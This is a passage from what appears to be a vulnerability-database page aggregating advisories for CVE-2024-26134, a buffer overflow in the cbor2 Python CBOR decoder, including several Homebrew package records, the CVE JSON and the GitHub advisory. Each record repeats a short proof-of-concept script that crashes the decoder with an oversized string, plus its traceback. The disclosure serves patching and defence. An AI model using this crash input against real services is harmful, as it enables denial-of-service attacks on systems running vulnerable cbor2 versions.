"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.3_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/cbor2@6.1.4",
"name": "cbor2",
"resource": "cbor2",
"strategy": "registry",
"subject_version": "6.1.4"
}
]
},
"details": "### Summary\nEver since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was **not** able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)\n\n## Details\n\n\n### PoC\n```py\nimport json\nimport concurrent.futures\nimport cbor2\n\ndef test():\n obj = \"x\" * 131128\n cbor_enc = cbor2.dumps(obj)\n return cbor2.loads(cbor_enc)\n\nwith concurrent.futures.ProcessPoolExecutor() as executor:\n future = executor.submit(test)\n print(future.result())\n```\n\n```\nmalloc(): unsorted double linked list corrupted\nTraceback (most recent call last):\n File \"test.py\", line 14, in \u003cmodule\u003e\n print(future.result())\n File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 440, in result\n return self.__get_result()\n File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 389, in __get_result\n raise self._exception\nconcurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.\n```\n\nIf one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.\n\n```py\nimport json\nimport cbor2\n\ndef test():\n obj = \"x\" * 131128\n cbor_enc = cbor2.dumps(obj)\n return cbor2.loads(cbor_enc)\n\nprint(test())\n```\n\n```\nTraceback (most recent call last):\n File \"test.py\", line 12, in \u003cmodule\u003e\n print(test())\n File \"test.py\", line 9, in test\n return cbor2.loads(cbor_enc)\nSystemError: \u003cbuilt-in function loads\u003e returned NULL without setting an error\n```\n\n### Impact\nAn attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.",
"id": "BREW-modal-CVE-2024-26134",
"modified": "2026-09-10T00:32:14Z",
"published": "2026-08-13T17:14:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/security/advisories/GHSA-375g-39jq-vq7m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26134"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/pull/204"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/commit/4de6991ba29bf2290d7b9d83525eda7d021873df"
},
{
"type": "PACKAGE",
"url": "https://github.com/agronholm/cbor2"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/releases/tag/5.6.2"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/cbor2/PYSEC-2024-155.yaml"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BT42VXZMMMCSSHMA65KKPOZCXJEYHNR5"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GX524ZG2XJWFV37UQKQ4LWIH4UICSGEQ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PWC3VU6YV6EXKCSX5GTKWLBZIDIJNQJY"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Potential buffer overflow in CBOR2 decoder",
"upstream": [
"GHSA-375g-39jq-vq7m",
"CVE-2024-26134",
"PYSEC-2024-155"
]
}
BREW-REMARSHAL-CVE-2024-26134 (GHSA-375G-39JQ-VQ7M)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:32 – Updated: 2026-09-10 01:05 – Source website
VLAI
Summary
Potential buffer overflow in CBOR2 decoder
Details
Summary
Ever since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was not able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)
Details
PoC
import json
import concurrent.futures
import cbor2
def test():
obj = "x" * 131128
cbor_enc = cbor2.dumps(obj)
return cbor2.loads(cbor_enc)
with concurrent.futures.ProcessPoolExecutor() as executor:
future = executor.submit(test)
print(future.result())
malloc(): unsorted double linked list corrupted
Traceback (most recent call last):
File "test.py", line 14, in <module>
print(future.result())
File "/usr/lib/python3.9/concurrent/futures/_base.py", line 440, in result
return self.__get_result()
File "/usr/lib/python3.9/concurrent/futures/_base.py", line 389, in __get_result
raise self._exception
concurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.
If one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.
import json
import cbor2
def test():
obj = "x" * 131128
cbor_enc = cbor2.dumps(obj)
return cbor2.loads(cbor_enc)
print(test())
Traceback (most recent call last):
File "test.py", line 12, in <module>
print(test())
File "test.py", line 9, in test
return cbor2.loads(cbor_enc)
SystemError: <built-in function loads> returned NULL without setting an error
Impact
An attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.
Severity
7.5 (High)
References
| URL | Type | ||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "cbor2",
"resource_purl": "pkg:pypi/cbor2@5.9.0",
"upstream_fixed_in": "5.6.2"
},
"package": {
"ecosystem": "Homebrew",
"name": "remarshal",
"purl": "pkg:brew/remarshal"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/cbor2@5.9.0",
"name": "cbor2",
"resource": "cbor2",
"strategy": "registry",
"subject_version": "5.9.0"
}
]
},
"details": "### Summary\nEver since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was **not** able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)\n\n## Details\n\n\n### PoC\n```py\nimport json\nimport concurrent.futures\nimport cbor2\n\ndef test():\n obj = \"x\" * 131128\n cbor_enc = cbor2.dumps(obj)\n return cbor2.loads(cbor_enc)\n\nwith concurrent.futures.ProcessPoolExecutor() as executor:\n future = executor.submit(test)\n print(future.result())\n```\n\n```\nmalloc(): unsorted double linked list corrupted\nTraceback (most recent call last):\n File \"test.py\", line 14, in \u003cmodule\u003e\n print(future.result())\n File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 440, in result\n return self.__get_result()\n File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 389, in __get_result\n raise self._exception\nconcurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.\n```\n\nIf one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.\n\n```py\nimport json\nimport cbor2\n\ndef test():\n obj = \"x\" * 131128\n cbor_enc = cbor2.dumps(obj)\n return cbor2.loads(cbor_enc)\n\nprint(test())\n```\n\n```\nTraceback (most recent call last):\n File \"test.py\", line 12, in \u003cmodule\u003e\n print(test())\n File \"test.py\", line 9, in test\n return cbor2.loads(cbor_enc)\nSystemError: \u003cbuilt-in function loads\u003e returned NULL without setting an error\n```\n\n### Impact\nAn attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.",
"id": "BREW-remarshal-CVE-2024-26134",
"modified": "2026-09-10T01:05:58Z",
"published": "2026-08-13T17:32:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/security/advisories/GHSA-375g-39jq-vq7m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26134"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/pull/204"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/commit/4de6991ba29bf2290d7b9d83525eda7d021873df"
},
{
"type": "PACKAGE",
"url": "https://github.com/agronholm/cbor2"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/releases/tag/5.6.2"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/cbor2/PYSEC-2024-155.yaml"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BT42VXZMMMCSSHMA65KKPOZCXJEYHNR5"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GX524ZG2XJWFV37UQKQ4LWIH4UICSGEQ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PWC3VU6YV6EXKCSX5GTKWLBZIDIJNQJY"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Potential buffer overflow in CBOR2 decoder",
"upstream": [
"GHSA-375g-39jq-vq7m",
"CVE-2024-26134",
"PYSEC-2024-155"
]
}
BREW-SLITHER-ANALYZER-CV… (GHSA-375G-39JQ-VQ7M)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:34 – Updated: 2026-09-10 20:54 – Source website
VLAI
Summary
Potential buffer overflow in CBOR2 decoder
Details
Summary
Ever since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was not able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)
Details
PoC
import json
import concurrent.futures
import cbor2
def test():
obj = "x" * 131128
cbor_enc = cbor2.dumps(obj)
return cbor2.loads(cbor_enc)
with concurrent.futures.ProcessPoolExecutor() as executor:
future = executor.submit(test)
print(future.result())
malloc(): unsorted double linked list corrupted
Traceback (most recent call last):
File "test.py", line 14, in <module>
print(future.result())
File "/usr/lib/python3.9/concurrent/futures/_base.py", line 440, in result
return self.__get_result()
File "/usr/lib/python3.9/concurrent/futures/_base.py", line 389, in __get_result
raise self._exception
concurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.
If one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.
import json
import cbor2
def test():
obj = "x" * 131128
cbor_enc = cbor2.dumps(obj)
return cbor2.loads(cbor_enc)
print(test())
Traceback (most recent call last):
File "test.py", line 12, in <module>
print(test())
File "test.py", line 9, in test
return cbor2.loads(cbor_enc)
SystemError: <built-in function loads> returned NULL without setting an error
Impact
An attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.
Severity
7.5 (High)
References
| URL | Type | ||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "cbor2",
"resource_purl": "pkg:pypi/cbor2@6.1.3",
"upstream_fixed_in": "5.6.2"
},
"package": {
"ecosystem": "Homebrew",
"name": "slither-analyzer",
"purl": "pkg:brew/slither-analyzer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.11.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/cbor2@6.1.3",
"name": "cbor2",
"resource": "cbor2",
"strategy": "registry",
"subject_version": "6.1.3"
}
]
},
"details": "### Summary\nEver since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was **not** able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)\n\n## Details\n\n\n### PoC\n```py\nimport json\nimport concurrent.futures\nimport cbor2\n\ndef test():\n obj = \"x\" * 131128\n cbor_enc = cbor2.dumps(obj)\n return cbor2.loads(cbor_enc)\n\nwith concurrent.futures.ProcessPoolExecutor() as executor:\n future = executor.submit(test)\n print(future.result())\n```\n\n```\nmalloc(): unsorted double linked list corrupted\nTraceback (most recent call last):\n File \"test.py\", line 14, in \u003cmodule\u003e\n print(future.result())\n File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 440, in result\n return self.__get_result()\n File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 389, in __get_result\n raise self._exception\nconcurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.\n```\n\nIf one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.\n\n```py\nimport json\nimport cbor2\n\ndef test():\n obj = \"x\" * 131128\n cbor_enc = cbor2.dumps(obj)\n return cbor2.loads(cbor_enc)\n\nprint(test())\n```\n\n```\nTraceback (most recent call last):\n File \"test.py\", line 12, in \u003cmodule\u003e\n print(test())\n File \"test.py\", line 9, in test\n return cbor2.loads(cbor_enc)\nSystemError: \u003cbuilt-in function loads\u003e returned NULL without setting an error\n```\n\n### Impact\nAn attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.",
"id": "BREW-slither-analyzer-CVE-2024-26134",
"modified": "2026-09-10T20:54:13Z",
"published": "2026-08-13T17:34:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/security/advisories/GHSA-375g-39jq-vq7m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26134"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/pull/204"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/commit/4de6991ba29bf2290d7b9d83525eda7d021873df"
},
{
"type": "PACKAGE",
"url": "https://github.com/agronholm/cbor2"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/releases/tag/5.6.2"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/cbor2/PYSEC-2024-155.yaml"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BT42VXZMMMCSSHMA65KKPOZCXJEYHNR5"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GX524ZG2XJWFV37UQKQ4LWIH4UICSGEQ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PWC3VU6YV6EXKCSX5GTKWLBZIDIJNQJY"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Potential buffer overflow in CBOR2 decoder",
"upstream": [
"GHSA-375g-39jq-vq7m",
"CVE-2024-26134",
"PYSEC-2024-155"
]
}
CVE-2024-26134 (GCVE-0-2024-26134)
Vulnerability from cvelistv5 – Published: 2024-02-19 22:13 – Updated: 2025-02-13 17:41
VLAI
EPSS
VEX
Title
CBOR2 decoder has potential buffer overflow
Summary
cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) (RFC 8949) serialization format. Starting in version 5.5.1 and prior to version 5.6.2, an attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object. Version 5.6.2 contains a patch for this issue.
Severity
7.5 (High)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2024-02-20 18:24 UTC
CWE
- CWE-120 - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
Assigner
References
8 references
| URL | Tags |
|---|---|
| https://github.com/agronholm/cbor2/security/advis… | x_refsource_CONFIRM |
| https://github.com/agronholm/cbor2/pull/204 | x_refsource_MISC |
| https://github.com/agronholm/cbor2/commit/387755e… | x_refsource_MISC |
| https://github.com/agronholm/cbor2/commit/4de6991… | x_refsource_MISC |
| https://github.com/agronholm/cbor2/releases/tag/5.6.2 | x_refsource_MISC |
| https://lists.fedoraproject.org/archives/list/pac… | |
| https://lists.fedoraproject.org/archives/list/pac… | |
| https://lists.fedoraproject.org/archives/list/pac… |
Impacted products
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-01T23:59:32.554Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "https://github.com/agronholm/cbor2/security/advisories/GHSA-375g-39jq-vq7m",
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "https://github.com/agronholm/cbor2/security/advisories/GHSA-375g-39jq-vq7m"
},
{
"name": "https://github.com/agronholm/cbor2/pull/204",
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/agronholm/cbor2/pull/204"
},
{
"name": "https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542",
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542"
},
{
"name": "https://github.com/agronholm/cbor2/commit/4de6991ba29bf2290d7b9d83525eda7d021873df",
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/agronholm/cbor2/commit/4de6991ba29bf2290d7b9d83525eda7d021873df"
},
{
"name": "https://github.com/agronholm/cbor2/releases/tag/5.6.2",
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/agronholm/cbor2/releases/tag/5.6.2"
},
{
"tags": [
"x_transferred"
],
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GX524ZG2XJWFV37UQKQ4LWIH4UICSGEQ/"
},
{
"tags": [
"x_transferred"
],
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BT42VXZMMMCSSHMA65KKPOZCXJEYHNR5/"
},
{
"tags": [
"x_transferred"
],
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PWC3VU6YV6EXKCSX5GTKWLBZIDIJNQJY/"
}
],
"title": "CVE Program Container"
},
{
"affected": [
{
"cpes": [
"cpe:2.3:a:agronholm:cbor2:5.5.1:*:*:*:*:*:*:*"
],
"defaultStatus": "unknown",
"product": "cbor2",
"vendor": "agronholm",
"versions": [
{
"lessThan": "5.6.2",
"status": "affected",
"version": "5.5.1",
"versionType": "custom"
}
]
}
],
"metrics": [
{
"other": {
"content": {
"id": "CVE-2024-26134",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2024-02-20T18:24:08.985048Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2024-08-14T13:57:54.799Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "cbor2",
"vendor": "agronholm",
"versions": [
{
"status": "affected",
"version": "\u003e= 5.5.1, \u003c 5.6.2"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) (RFC 8949) serialization format. Starting in version 5.5.1 and prior to version 5.6.2, an attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object. Version 5.6.2 contains a patch for this issue."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-120",
"description": "CWE-120: Buffer Copy without Checking Size of Input (\u0027Classic Buffer Overflow\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2024-04-19T23:06:51.306Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/agronholm/cbor2/security/advisories/GHSA-375g-39jq-vq7m",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/agronholm/cbor2/security/advisories/GHSA-375g-39jq-vq7m"
},
{
"name": "https://github.com/agronholm/cbor2/pull/204",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/agronholm/cbor2/pull/204"
},
{
"name": "https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542"
},
{
"name": "https://github.com/agronholm/cbor2/commit/4de6991ba29bf2290d7b9d83525eda7d021873df",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/agronholm/cbor2/commit/4de6991ba29bf2290d7b9d83525eda7d021873df"
},
{
"name": "https://github.com/agronholm/cbor2/releases/tag/5.6.2",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/agronholm/cbor2/releases/tag/5.6.2"
},
{
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GX524ZG2XJWFV37UQKQ4LWIH4UICSGEQ/"
},
{
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BT42VXZMMMCSSHMA65KKPOZCXJEYHNR5/"
},
{
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PWC3VU6YV6EXKCSX5GTKWLBZIDIJNQJY/"
}
],
"source": {
"advisory": "GHSA-375g-39jq-vq7m",
"discovery": "UNKNOWN"
},
"title": "CBOR2 decoder has potential buffer overflow"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2024-26134",
"datePublished": "2024-02-19T22:13:47.173Z",
"dateReserved": "2024-02-14T17:40:03.687Z",
"dateUpdated": "2025-02-13T17:41:03.627Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
GHSA-375G-39JQ-VQ7M
Vulnerability from github – Published: 2024-02-21 00:09 – Updated: 2025-01-14 15:59
VLAI
Summary
Potential buffer overflow in CBOR2 decoder
Details
Summary
Ever since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was not able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)
Details
PoC
import json
import concurrent.futures
import cbor2
def test():
obj = "x" * 131128
cbor_enc = cbor2.dumps(obj)
return cbor2.loads(cbor_enc)
with concurrent.futures.ProcessPoolExecutor() as executor:
future = executor.submit(test)
print(future.result())
malloc(): unsorted double linked list corrupted
Traceback (most recent call last):
File "test.py", line 14, in <module>
print(future.result())
File "/usr/lib/python3.9/concurrent/futures/_base.py", line 440, in result
return self.__get_result()
File "/usr/lib/python3.9/concurrent/futures/_base.py", line 389, in __get_result
raise self._exception
concurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.
If one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.
import json
import cbor2
def test():
obj = "x" * 131128
cbor_enc = cbor2.dumps(obj)
return cbor2.loads(cbor_enc)
print(test())
Traceback (most recent call last):
File "test.py", line 12, in <module>
print(test())
File "test.py", line 9, in test
return cbor2.loads(cbor_enc)
SystemError: <built-in function loads> returned NULL without setting an error
Impact
An attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "cbor2"
},
"ranges": [
{
"events": [
{
"introduced": "5.5.1"
},
{
"fixed": "5.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-26134"
],
"database_specific": {
"cwe_ids": [
"CWE-120"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-21T00:09:03Z",
"nvd_published_at": "2024-02-19T23:15:07Z",
"severity": "HIGH"
},
"details": "### Summary\nEver since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was **not** able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)\n\n## Details\n\n\n### PoC\n```py\nimport json\nimport concurrent.futures\nimport cbor2\n\ndef test():\n obj = \"x\" * 131128\n cbor_enc = cbor2.dumps(obj)\n return cbor2.loads(cbor_enc)\n\nwith concurrent.futures.ProcessPoolExecutor() as executor:\n future = executor.submit(test)\n print(future.result())\n```\n\n```\nmalloc(): unsorted double linked list corrupted\nTraceback (most recent call last):\n File \"test.py\", line 14, in \u003cmodule\u003e\n print(future.result())\n File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 440, in result\n return self.__get_result()\n File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 389, in __get_result\n raise self._exception\nconcurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.\n```\n\nIf one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.\n\n```py\nimport json\nimport cbor2\n\ndef test():\n obj = \"x\" * 131128\n cbor_enc = cbor2.dumps(obj)\n return cbor2.loads(cbor_enc)\n\nprint(test())\n```\n\n```\nTraceback (most recent call last):\n File \"test.py\", line 12, in \u003cmodule\u003e\n print(test())\n File \"test.py\", line 9, in test\n return cbor2.loads(cbor_enc)\nSystemError: \u003cbuilt-in function loads\u003e returned NULL without setting an error\n```\n\n### Impact\nAn attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.",
"id": "GHSA-375g-39jq-vq7m",
"modified": "2025-01-14T15:59:39Z",
"published": "2024-02-21T00:09:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/security/advisories/GHSA-375g-39jq-vq7m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26134"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/pull/204"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/commit/4de6991ba29bf2290d7b9d83525eda7d021873df"
},
{
"type": "PACKAGE",
"url": "https://github.com/agronholm/cbor2"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/releases/tag/5.6.2"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/cbor2/PYSEC-2024-155.yaml"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BT42VXZMMMCSSHMA65KKPOZCXJEYHNR5"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GX524ZG2XJWFV37UQKQ4LWIH4UICSGEQ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PWC3VU6YV6EXKCSX5GTKWLBZIDIJNQJY"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Potential buffer overflow in CBOR2 decoder"
}
Loading…
Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
